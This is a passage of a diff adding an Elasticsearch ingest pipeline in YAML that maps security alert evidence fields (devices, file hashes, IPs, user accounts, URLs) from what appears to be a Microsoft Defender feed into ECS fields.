+                field: _ingest._value.urlCount
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_instanceId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.instanceId
+          tag: convert_foreach_evidence_instanceId
+          target_field: _ingest._value.instance_id
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.instanceId
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_cloud_instance_id
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: cloud.instance.id
+          tag: append_foreach_evidence_cloud_instance_id
+          value: '{{{_ingest._value.instance_id}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_instanceName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.instanceName
+          tag: rename_foreach_evidence_instanceName
+          target_field: _ingest._value.instance_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_cloud_instance_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: cloud.instance.name
+          tag: append_foreach_evidence_cloud_instance_name
+          value: '{{{_ingest._value.instance_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_appId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.appId
+          tag: convert_foreach_evidence_appID
+          target_field: _ingest._value.app_id
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.appId
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_displayName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.displayName
+          tag: rename_foreach_evidence_display_name
+          target_field: _ingest._value.display_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_saasAppId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.saasAppId
+          tag: convert_foreach_evidence_saasAppId
+          target_field: _ingest._value.saas_app_id
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.saasAppId
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_vmMetadata_cloudProvider
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.vmMetadata.cloudProvider
+          tag: rename_foreach_evidence_vmMetadata_cloudProvider
+          target_field: _ingest._value.vm_metadata.cloud_provider
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_mdaDeviceId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.mdeDeviceId
+          tag: rename_foreach_evidence_mdaDeviceId
+          target_field: _ingest._value.mde_device_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_mdaDeviceId_into_related_hosts
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_evidence_mdaDeviceId_into_related_hosts
+          value: '{{{_ingest._value.mde_device_id}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_osPlatform
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.osPlatform
+          tag: rename_foreach_osPlatform
+          target_field: _ingest._value.os_platform
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_host_os_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: host.os.name
+          tag: append_foreach_evidence_host_os_name
+          value: '{{{_ingest._value.os_platform}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_os_platform_related_hosts
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_evidence_os_platform_related_hosts
+          value: '{{{_ingest._value.os_platform}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_host_os_version
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: host.os.version
+          tag: append_foreach_host_os_version
+          value: '{{{_ingest._value.version}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_append_version_into_related_hosts
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_version_into_related_hosts
+          value: '{{{_ingest._value.version}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_azureAdDeviceId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: device.id
+          tag: append_azureAdDeviceId_into_device_id
+          value: '{{{_ingest._value.azureAdDeviceId}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_json_evidence_61979541
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.azureAdDeviceId
+          tag: rename_foreach_evidence_azureAdDeiveId
+          target_field: _ingest._value.azure_ad_device_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_defenderAvStatus
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.defenderAvStatus
+          tag: rename_foreach_evidence_defenderAvStatus
+          target_field: _ingest._value.defender_av_status
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_deviceDnsName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.deviceDnsName
+          tag: rename_foreach_evidece_deviceDnsName
+          target_field: _ingest._value.device_dns_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_hosts_device_dns_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_evidence_hosts_device_dns_name
+          value: '{{{_ingest._value.device_dns_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_device_dns_name_to_host_hostname
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: host.hostname
+          tag: append_foreach_evidence_device_dns_name_to_host_hostname
+          value: '{{{_ingest._value.device_dns_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_date_firstSeenDateTime
+      if: ctx.json?.evidence instanceof List
+      processor:
+        date:
+          field: _ingest._value.firstSeenDateTime
+          tag: date_foreach_firstSeenDateTime
+          target_field: _ingest._value.first_seen_datetime
+          formats:
+            - ISO8601
+          on_failure:
+            - remove:
+                field: _ingest._value.firstSeenDateTime
+                ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_healthStatus
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.healthStatus
+          tag: rename_foreach_evidence_healthStatus
+          target_field: _ingest._value.health_status
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: double_foreach_evidence__rename_accountName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.loggedOnUsers
+          tag: inside_foreach_evidence_loggedOnUSers_rename_accountName
+          ignore_missing: true
+          processor:
+            rename:
+              field: _ingest._value.accountName
+              tag: rename_foreach_evidence_accountName
+              target_field: _ingest._value.account_name
+              ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: double_foreach_evidence_append_loggedOnUsers_account_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.loggedOnUsers
+          tag: inside_foreach_append_loggedOnUsers_account_name
+          ignore_missing: true
+          processor:
+            append:
+              field: related.user
+              tag: append_inside_foreach_loggedOnUsers_account_name
+              value: '{{{_ingest._value.account_name}}}'
+              allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: double_foreach_evidence_rename_loggedOnUsers_domainName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.loggedOnUsers
+          tag: inside_foreach_rename_loggedOnUsers_domainName
+          ignore_missing: true
+          processor:
+            rename:
+              field: _ingest._value.domainName
+              tag: rename_foreach_loggedOnUsers_domainName
+              target_field: _ingest._value.domain_name
+              ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: double_foreach_evidence_loggedOnUsers_append_domain_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.loggedOnUsers
+          tag: inside_foreach_loggedOnUsers_append_domainName
+          ignore_missing: true
+          processor:
+            append:
+              field: related.hosts
+              tag: append_inside_foreach_loggedOnUsers_domainName
+              value: '{{{_ingest._value.domain_name}}}'
+              allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: double_foreach_evidence_loggedOnUsers_dot_expander_@odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.loggedOnUsers
+          tag: inside_foreach_dot_expander_loggedOnUsers
+          ignore_missing: true
+          processor:
+            dot_expander:
+              field: '@odata.type'
+              path: _ingest._value
+              ignore_failure: true
+              override: true
+  - foreach:
+      field: json.evidence
+      tag: double_foreach_evidence_loggedOnUsers_rename_@odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.loggedOnUsers
+          tag: inside_foreach_loggedOnUsers_rename_@odata_type
+          ignore_missing: true
+          processor:
+            rename:
+              field: _ingest._value.@odata.type
+              tag: rename_evidence_foreach_loggedOnUsers_@odata_type
+              target_field: _ingest._value.odata_type
+              ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_loggedOnUsers
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.loggedOnUsers
+          target_field: _ingest._value.logged_on_users
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_onboardingStatus_rename
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.onboardingStatus
+          target_field: _ingest._value.onboarding_status
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_osBuild
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.osBuild
+          tag: convert_foreach_evidence_osBuild
+          target_field: _ingest._value.os_build
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.osBuild
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_rbacGroupId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.rbacGroupId
+          tag: convert_foreach_evidence_rbacGroupId
+          target_field: _ingest._value.rbac_group.id
+          type: string
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.rbacGroupId
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_rbacGroupName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.rbacGroupName
+          tag: rename_foreach_evidence_rbacGroupName
+          target_field: _ingest._value.rbac_group.name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_riskScore
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.riskScore
+          tag: rename_foreach_evidence_riskScore
+          target_field: _ingest._value.risk_score
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_dot_expander_vmMetadata
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.vmMetadata
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_vmMetadata_@odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.vmMetadata.@odata.type
+          tag: rename_foreach_evidence_vmMetadata_@odata_type
+          target_field: _ingest._value.vm_metadata.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_vmMetadata_resourceId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.vmMetadata.resourceId
+          tag: rename_foreach_evidence_vmMetadata_resourceId
+          target_field: _ingest._value.vm_metadata.resource_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_vmMetadata_subscriptionId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.vmMetadata.subscriptionId
+          tag: rename_foreach_evidence_vmMetadata_subscriptionId
+          target_field: _ingest._value.vm_metadata.subscription_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_vmMetadata_vmId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.vmMetadata.vmId
+          tag: rename_foreach_evidence_vmMetadata_vmId
+          target_field: _ingest._value.vm_metadata.vm_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_detectionStatus
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.detectionStatus
+          tag: rename_foreach_evidence_detectionStatus
+          target_field: _ingest._value.detection_status
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_detection_status
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: event.action
+          tag: append_foreach_evidence_detection_status
+          value: '{{{_ingest._value.detection_status}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_dot_expander_fileDetails
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.fileDetails
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_fileDetails_@odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.@odata.type
+          tag: rename_foreach_evidence_fileDetails_@odata_type
+          target_field: _ingest._value.file_details.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_fileDetails_sha1
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.sha1
+          tag: rename_foreach_evidence_fileDetails_sha1
+          target_field: _ingest._value.file_details.sha1
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_fileDetails_sha1_into_fileHashSha1
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: file.hash.sha1
+          tag: append_foreach_evidence_fileDetails_sha1_into_fileHashSha1
+          value: '{{{_ingest._value.file_details.sha1}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_fileDetails_sha1_into_related_hash
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_foreach_evidence_fileDetails_sha1_into_related_hash
+          value: '{{{_ingest._value.file_details.sha1}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_fileDetails_sha256
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.sha256
+          tag: rename_foreach_evidence_fileDetails_sha256
+          target_field: _ingest._value.file_details.sha256
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_filedetails_sha256_into_file_hash_sha256
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: file.hash.sha256
+          tag: append_foreach_evidence_filedetails_sha256_into_file_hash_sha256
+          value: '{{{_ingest._value.file_details.sha256}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_filedetails_sha256_into_related_hash
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hash
+          tag: append_foreach_evidence_filedetails_sha256_into_related_hash
+          value: '{{{_ingest._value.file_details.sha256}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_fileDetails_fileName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.fileName
+          tag: rename_foreach_evidence_fileDetails_FileName
+          target_field: _ingest._value.file_details.name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_fileDetails_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: file.name
+          tag: append_foreach_evidence_fileDetails_name
+          value: '{{{_ingest._value.file_details.name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_fileDetails_filePath
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.filePath
+          tag: rename_foreach_evidence_fileDetails_filePath
+          target_field: _ingest._value.file_details.path
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_fileDetails_path
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: file.path
+          tag: append_foreach_evidence_fileDetails_path
+          value: '{{{_ingest._value.file_details.path}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_fileSize
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.fileDetails.fileSize
+          tag: convert_foreach_evidence_fileSize
+          target_field: _ingest._value.file_details.size
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.fileDetails.fileSize
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_filePublisher
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.filePublisher
+          tag: rename_foreach_evidence_filePublisher
+          target_field: _ingest._value.file_details.publisher
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_issuer
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.issuer
+          tag: rename_foreach_evidence_issuer
+          target_field: _ingest._value.file_details.issuer
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_signer
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.fileDetails.signer
+          tag: rename_evidence_foreach_signer
+          target_field: _ingest._value.file_details.signer
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_ipAddress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.ipAddress
+          tag: convert_foreach_evidence_ipAddress
+          target_field: _ingest._value.ip_address
+          type: ip
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.ipAddress
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_ip_address_into_host_ip
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: host.ip
+          tag: append_foreach_evidence_ip_address_into_host_ip
+          value: '{{{_ingest._value.ip_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_ip_address_into_related_ip
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.ip
+          tag: append_foreach_evidence_ip_address_into_related_ip
+          value: '{{{_ingest._value.ip_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_countryLetterCode_to_geo_country_iso_code
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: source.geo.country_iso_code
+          tag: append_foreach_evidence_countryLetterCode_to_geo_country_iso_code
+          value: '{{{_ingest._value.country_letter_code}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_url_to_url_original
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: url.original
+          tag: append_foreach_evidence_url_to_url_original
+          value: '{{{_ingest._value.url}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_urls_array_to_url_original
+      if: ctx.json?.evidence instanceof List
+      processor:
+        foreach:
+          field: _ingest._value.urls
+          tag: foreach_append_urls_array_to_url_original
+          ignore_missing: true
+          processor:
+            append:
+              field: url.original
+              tag: append_urls_array_to_url_original
+              value: '{{{_ingest._value}}}'
+              allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_dot_expander_userAccount
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.userAccount
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_userAccount_odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.userAccount.@odata.type
+          tag: renane_foreach_evidence_userAccount_odata_type
+          target_field: _ingest._value.user_account.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_useraccount_domainName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.userAccount.domainName
+          tag: rename_foreach_evidence_useraccount_domainName
+          target_field: _ingest._value.user_account.domain_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_useraccount_domain_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.hosts
+          tag: append_foreach_evidence_useraccount_domain_name
+          value: '{{{_ingest._value.user_account.domain_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_useraccount_azureAdUserId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.userAccount.azureAdUserId
+          tag: rename_foreach_evidence_useraccount_azureAdUserId
+          target_field: _ingest._value.user_account.azure_ad_user_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_useraccount_azureAdUserId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_useraccount_azureAdUserId
+          value: '{{{_ingest._value.user_account.azure_ad_user_id}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_useraccount_userPrincipalName
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.userAccount.userPrincipalName
+          tag: rename_foreach_evidence_useraccount_userPrincipalName
+          target_field: _ingest._value.user_account.user_principal_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_useraccount_user_principal_name
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_useraccount_user_principal_name
+          value: '{{{_ingest._value.user_account.user_principal_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_primaryAddress
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.primaryAddress
+          tag: rename_foreach_evidence_primaryAddress
+          target_field: _ingest._value.primary_address
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_primary_address_to_user_email
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: user.email
+          tag: append_foreach_evidence_primary_address_to_user_email
+          value: '{{{_ingest._value.primary_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_primary_address_to_related_user
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_primary_address_to_related_user
+          value: '{{{_ingest._value.primary_address}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_useraccount_accountname
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.userAccount.accountName
+          tag: rename_foreach_evidence_useraccount_accountname
+          target_field: _ingest._value.user_account.account_name
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_useraccount_accountname
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_useraccount_accountname
+          value: '{{{_ingest._value.user_account.account_name}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_useraccount_userSid
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.userAccount.userSid
+          tag: rename_foreach_evidence_useraccount_userSid
+          target_field: _ingest._value.user_account.user_sid
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_useraccount_userSid
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: related.user
+          tag: append_foreach_evidence_useraccount_userSid
+          value: '{{{_ingest._value.user_account.user_sid}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_clusterBy
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.clusterBy
+          tag: rename_foreach_evidence_clusterBy
+          target_field: _ingest._value.cluster_by
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_ename_clusterByValue
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.clusterByValue
+          tag: rename_evidence_foreach_clusterByValue
+          target_field: _ingest._value.cluster_by_value
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_convert_emailCount
+      if: ctx.json?.evidence instanceof List
+      processor:
+        convert:
+          field: _ingest._value.emailCount
+          tag: convert_foreach_evidence_emailCount
+          target_field: _ingest._value.email_count
+          type: long
+          ignore_missing: true
+          on_failure:
+            - remove:
+                field: _ingest._value.emailCount
+            - append:
+                field: error.message
+                value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}'
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_networkMessageIds
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.networkMessageIds
+          tag: rename_foreach_evidence_networkMessageId
+          target_field: _ingest._value.network_message_ids
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_rename_evidence_objectId
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.objectId
+          tag: rename_foreach_evidence_objectId
+          target_field: _ingest._value.object_id
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_processCommandLine
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.processCommandLine
+          tag: rename_foreach_evidence_processCommandLine
+          target_field: _ingest._value.process.command_line
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_append_processCommandLine
+      if: ctx.json?.evidence instanceof List
+      processor:
+        append:
+          field: process.command_line
+          tag: append_foreach_evidence_processCommandLine
+          value: '{{{_ingest._value.process.command_line}}}'
+          allow_duplicates: false
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_dot_expander_imageFile
+      if: ctx.json?.evidence instanceof List
+      processor:
+        dot_expander:
+          field: '@odata.type'
+          path: _ingest._value.imageFile
+          ignore_failure: true
+          override: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imageFile_@odata_type
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.@odata.type
+          tag: rename_foreach_evidence_imageFile_@odata_type
+          target_field: _ingest._value.image_file.odata_type
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
+      tag: foreach_evidence_rename_imagefile_sha1
+      if: ctx.json?.evidence instanceof List
+      processor:
+        rename:
+          field: _ingest._value.imageFile.sha1
+          tag: rename_foreach_evidence_imagefile_sha1
+          target_field: _ingest._value.image_file.sha1
+          ignore_missing: true
+  - foreach:
+      field: json.evidence
